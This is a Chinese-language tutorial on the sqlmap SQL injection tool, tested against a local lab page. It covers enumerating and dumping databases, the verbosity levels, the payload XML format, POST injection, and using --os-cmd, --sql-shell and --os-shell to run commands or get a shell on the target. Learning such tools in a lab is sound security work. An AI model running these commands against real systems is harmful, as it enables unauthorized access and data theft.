sqlmap工具使用


sqlmap工具使用

本次学习使用的sqlmap版本:1.4.4.8

Sqlmap使用

  ①  判断是否是注入点

sqlmap.py -u "localhost:8089/test003.php?ID=1" 

  使用了-u参数指定测试的URL,若存在注入点将会显示出Web容器、数据库版本信息,结果如下:

web application technology: Apache 2.4.41, PHP 7.3.12
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

  ②  获取数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs

  使用—dbs参数读取数据库。结果如下:

 available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] test_db

  ③  查看当前应用程序所用数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --current-db

  使用—current-db参数列出当前应用程序所使用的数据库,结果如下:

current database: 'test_db'

  ④  列出指定数据库的所有表

sqlmap.py -u "localhost:8089/test003.php?ID=1" --tables -D "test_db"

  使用—tables参数获取数据库表,-D参数指定数据库,结果如下:

 Database: test_db
[1 table]
+-----------+
| testtable |
+-----------+

  ⑤  读取指定表中的字段名称

sqlmap.py -u "localhost:8089/test003.php?ID=1" --columns -T "testtable" -D "test_db"

  使用—columns参数列取字段名及数据类型,结果如下:

Database: test_db
Table: testtable
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| ID     | varchar(255) |
| Name   | varchar(255) |
| Age    | int(11)      |
+--------+--------------+

  ⑥  读取指定字段内容

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dump -C "ID,Name,Age"  -T "testtable" -D "test_db"

  使用—dump参数转存数据,-C参数指定字段名,-T参数指定表名,-D指定数据库名称,在读取数据后,sqlmap还会把读取到的数据转存到sqlmap\output\localhost\dump\test_db\目录下,文件以“testtable.cvs”保存,结果如下:

Database: test_db
Table: testtable
[8 entries]
+------+--------+-----+
| ID   | Name   | Age |
+------+--------+-----+
| 1    | A      | 1   |
| 2    | B      | 2   |
| 3    | C      | 3   |
| 4    | D      | 4   |
| 5    | E      | 5   |
| 6    | F      | 6   |
| 7    | G      | 7   |
| 8    | H      | 8   |
+------+--------+-----+

  打开testtable.cvs:

Sqlmap常用参数实验

-v

  该参数用来显示信息的级别,一共有7个等级:

    0:只显示python错误和关键信息

    1:显示基本信息(默认)

    2:显示调试(debug)信息

    3:显示有效载荷注入(payload)

    4:显示HTTP请求包

    5:显示HTTP响应头

    6:显示HTTP响应页面的内容

  接下里我们实验一下:

-v 0:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 0

  只返回关键信息;

-v 1:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 1

   返回[INFO]信息,还会返回[WARNING]警告信息,这里没有警告信息;

-v 2:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 2

  显示[DEBUG]调试信息;

-v 3:

  由于

sqlmap.py -u "localhost:8089/test003.php?ID=1" –dbs

  该命令没有payload,所以改用命令:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-cmd="net user" -v 3

   可以看到显示了[PAYLOAD]载荷信息,同时可以注意到有[WARNING]警告信息,这个在v1的时候即可显示;

-v 4:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 4

  显示[TRAFFIC OUT]HTTP请求信息;

-v 5:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 5

  显示了[TRAFFIC IN]HTTP响应头信息;

-v 6:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 6

  在[TRAFFIC IN]中还包括了HTTP响应页面的内容,当响应页面包含比较多的内容的时候不建议在sqlmap中使用这个等级的显示信息。

Sqlmap中的payload

  我们可以在sqlmap/data/xml/payload文件夹中找到所有的payload,在boolean_blind.xml文件开头解释了所有的payload的标签及相关参数。

Payload格式:

<test>
  <title>title>
  <stype>stype>
  <level>level>
  <risk>risk>
  <clause>clause>
  <where>where>
  <vector>vector>
  <request>
    <payload>payload>
    <comment>comment>
    <char>char>
    <columns>columns>
  request>
  <response>
    <comparison>comparison>
    <grep>grep>
    <time>time>
    <union>union>
  response>
  <details>
    <dbms>dbms>
    <dbms_version>dbms_version>
    <os>os>
  details>
test>

各标签的具体含义及参数:

标签:

  SQL注入测试的定义,包含了一次SQL注入所有的参数。

  子标签:</p> <p>    test的标题</p> <p>  子标签:<stype></p> <p>    SQL注入的类型</p> <p>    有效值:</p> <p>      1:基于布尔值的盲注</p> <p>      2:基于错误查询的SQL注入</p> <p>      3:Inline queries(内联查询)SQL注入</p> <p>      4:堆栈查询SQL注入</p> <p>      5:基于时间的盲注</p> <p>      6:UNION联合查询SQL注入</p> <p>  子标签:<level></p> <p>    规定了测试的检查级别</p> <p>    有效值:</p> <p>      1:Always(小于100个请求)</p> <p>      2:Try a bit harder(100-200个请求)</p> <p>      3:Good number of requests(200-500个请求)</p> <p>      4:Extensive test(500-1000个请求)</p> <p>      5:You have plenty of time(大于1000个请求)</p> <p>    Tips:默认参数是1,当参数值为2时一般会检查cookie里的参数,当参数大于等于3时一般还会检查User-agent和Referer。</p> <p>  子标签:<risk></p> <p>    有效载荷破坏数据完整性的可能性</p> <p>    有效值:</p> <p>      1:低风险</p> <p>      2:中风险</p> <p>      3:高风险</p> <p>    Tips:默认为1,当参数为2时一般会有基于事件的测试,当参数为3时一般会有OR语句的测试</p> <p>  子标签:<clause></p> <p>    有效载荷可以在哪个子句中生效</p> <p>    有效值:</p> <p>      0:Always</p> <p>      1:WHERE/HAVING</p> <p>      2:GROUP BY</p> <p>      3:ORDER BY</p> <p>      4:LIMIT</p> <p>      5:OFFSET</p> <p>      6:TOP</p> <p>      7:Table name</p> <p>      8:Column name</p> <p>      9:Pre-WHERE(non-query)</p> <p>    Tips:这些值也可以用逗号分隔。</p> <p>  子标签:<where></p> <p>    在哪里加入有效载荷</p> <p>    有效值:</p> <p>      1:将字符串追加到参数原始值后</p> <p>      2:将参数原始值替换为负随机整数值后再将字符串加到后面</p> <p>      3:用字符串替换参数原始值</p> <p>  子标签:<vector></p> <p>    将用于利用注入点的载荷</p> <p>  子标签:<request></p> <p>    要注入的内容</p> <p>    子标签:<payload></p> <p>      要测试的载荷</p> <p>    子标签:<comment></p> <p>      在后缀之前,附加在载荷后面的注释</p> <p>    子标签:<char></p> <p>      在UNION查询SQL注入测试中,用于强制联合列数的字符</p> <p>    子标签:<columns></p> <p>      在UNION查询SQL注入测试中,列的范围</p> <p>  子标签:<response></p> <p>    如何识别注入的载荷是否成功</p> <p>    子标签:<comparison></p> <p>      使用这个标签中的字符串作为载荷并和<payload>中的载荷的响应进行比较,并应用比较算法。</p> <p>      Tips:一般用于测试基于布尔值的盲注</p> <p>    子标签:<grep></p> <p>      在响应体中的正则表达式</p> <p>      Tips:一般用于基于错误返回的SQL注入</p> <p>    子标签:<time></p> <p>      在返回响应之前等待的时间(秒)</p> <p>      Tips:一般用于基于时间的盲注和堆栈查询SQL注入</p> <p>    子标签:<union></p> <p>      调用unionTest()函数</p> <p>      Tips:一般用于UNION查询的SQL注入</p> <p>  子标签:<details></p> <p>    如果载荷成功,可以推断的细节</p> <p>    子标签:<dbms></p> <p>      数据库的管理系统</p> <p>    子标签:<dbms_version></p> <p>      数据库管理系统的版本</p> <p>    子标签:<os></p> <p>      数据库管理系统所在的操作系统</p> <p>根据<stype>的不同,所有的payload被分别存储在这几个不同的xml文件中,文件名即是<stype>的类型。</p> <p>拿一个基于布尔值的盲注的payload来具体看看:</p> <pre><span style="color: rgba(0, 0, 255, 1)"><</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">title</span><span style="color: rgba(0, 0, 255, 1)">></span>OR boolean-based blind - WHERE or HAVING clause<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">title</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">stype</span><span style="color: rgba(0, 0, 255, 1)">></span>1<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">stype</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">level</span><span style="color: rgba(0, 0, 255, 1)">></span>1<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">level</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">risk</span><span style="color: rgba(0, 0, 255, 1)">></span>3<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">risk</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">clause</span><span style="color: rgba(0, 0, 255, 1)">></span>1,9<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">clause</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">where</span><span style="color: rgba(0, 0, 255, 1)">></span>2<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">where</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">vector</span><span style="color: rgba(0, 0, 255, 1)">></span>OR [INFERENCE]<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">vector</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">request</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">    <</span><span style="color: rgba(128, 0, 0, 1)">payload</span><span style="color: rgba(0, 0, 255, 1)">></span>OR [RANDNUM]=[RANDNUM]<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">payload</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  </</span><span style="color: rgba(128, 0, 0, 1)">request</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  <</span><span style="color: rgba(128, 0, 0, 1)">response</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">    <</span><span style="color: rgba(128, 0, 0, 1)">comparison</span><span style="color: rgba(0, 0, 255, 1)">></span>OR [RANDNUM]=[RANDNUM1]<span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">comparison</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)">  </</span><span style="color: rgba(128, 0, 0, 1)">response</span><span style="color: rgba(0, 0, 255, 1)">></span> <span style="color: rgba(0, 0, 255, 1)"></</span><span style="color: rgba(128, 0, 0, 1)">test</span><span style="color: rgba(0, 0, 255, 1)">></span></pre> <p>  这条测试的标题是“OR boolean-based blind - WHERE or HAVING clause”;</p> <p>  类型的参数是1,基于布尔值的盲注;</p> <p>  level的参数是1,默认级别,不会对cookie等参数进行测试;</p> <p>  risk的参数是3,用了OR语句的测试</p> <p>  clause的参数是1和9,载荷在WEHER/HAVING/Pre-WHERE子句中生效;</p> <p>  where的参数是2,将参数原始值替换为负随机整数值后再将载荷字符串加到后面;</p> <p>  载荷是OR [INFERENCE],被注入的内容具体为OR [RANDNUM]=[RANDNUM]并和OR [RANDNUM]=[RANDNUM1]的返回值进行比对。</p> <h2>POST参数提交方式</h2> <p>--data="POST参数"</p> <pre class="brush:bash;gutter:true;">sqlmap.py -u "localhost:8089/test002.php" --data="Name=A"</pre> <h2>sqlmap返回shell</h2> <p>sql shell:</p> <p>--sql-shell</p> <pre class="brush:bash;gutter:true;">sqlmap.py -u "localhost:8089/test003.php?ID=1" --sql-shell </pre> <p></p> <p>操作系统shell:</p> <p>--os-shell</p> <pre class="brush:bash;gutter:true;">sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-shell </pre> <p></p> <p>成功后会创建一个对方操作系统的shell。</p> <p>--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。(没弄明白,有待学习)</p> </div> <!--conend--> <div class="p-2"></div> <div class="arcinfo my-3 fs-7 text-center"> <a href='/t/etagid936-0.html' class='tagbtn' target='_blank'>SQL</a><a href='/t/etagid129-0.html' class='tagbtn' target='_blank'>工具使用</a> </div> <div class="p-2"></div> </div> <div class="p-2"></div> <!--xg--> <div class="lbox p-4 shadow-sm rounded-3"> <div class="boxtitle"><h2 class="fs-4">相关</h2></div> <hr> <div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-566480.html">关于MySQL中的事务、提交(commit)、回滚(rollback)</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-566049.html">关于sqlserver的where如何添加判断类语句的一种想法(只包含两个判断分支)</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565764.html">sql server2016里面的json功能 - 转</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565712.html">SQLAlachemy ORM 初识</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565266.html">MySQL索引类型</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565505.html">Windows7环境,Dbeaver 安装连接Mysql5.7</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565241.html">linux 恢复mysql 误删除数据</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-565179.html">mac 安装mysql workbench8.0.23闪退。</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564624.html">SQL LEN()函数用法</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564440.html">【Gerrit】Gerrit+Postgresql安装方式的数据备份</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564052.html">Linux-Mysql 遗忘密码如何解决?</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-564446.html">mysql数据库死锁的产生原因及解决办法</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div> <!----> <!----> </div> <!--xgend--> </div> <div class="col-lg-3 col-12 p-0 ps-lg-2"> <!--box--> <!--boxend--> <!--<div class="p-2"></div>--> <!--box--> <div class="lbox p-4 shadow-sm rounded-3"> <div class="boxtitle pb-2"><h2 class="fs-4"><a href="#">标签</a></h2></div> <div class="clearfix"></div> <ul class="m-0 p-0 fs-7 r-tag"> </ul> <div class="clearfix"></div> </div> <!--box end--> </div> </div> </div> </main> <div class="p-2"></div> <footer> <div class="container-fluid p-0 bg-black"> <div class="container p-0 fs-8"> <p class="text-center m-0 py-2 text-white-50">一品网 <a class="text-white-50" href="https://beian.miit.gov.cn/" target="_blank">冀ICP备14022925号-6</a></p> </div> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?6e3dd49b5f14d985cc4c6bdb9248f52b"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> </footer> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.8/dist/js/bootstrap.min.js"></script> </body> </html>